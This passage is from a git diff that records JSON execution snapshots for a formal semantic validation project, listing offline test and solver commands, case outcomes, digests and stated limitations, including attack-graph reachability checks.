"implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-1365-execution-v59", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1365-execution-v59", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "eca6b8bb8b0ba230d247ad0fb813ad26a80d9689", + "source_state": { + "base_revision": "eca6b8bb8b0ba230d247ad0fb813ad26a80d9689", + "checkout_state": "modified", + "implementation_digest": "0c667bdcb81de158930a56cacab8530bd3bc82d996494c827187feab58f73d2a", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v61.json b/docs/research/formal-semantic-validation/execution-snapshot-v61.json new file mode 100644 index 000000000..7cc123be6 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v61.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-1389-execution-v54", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v54.json", + "release_revision": "55.0.0", + "release_sha256": "89591fe7e90a57a5d6047eb442171a6c1b1fdac7e5cf13ef458a374dd0a54398" + }, + "captured_at": "2026-09-27T17:33:58.330055+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-971-execution-v56", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + 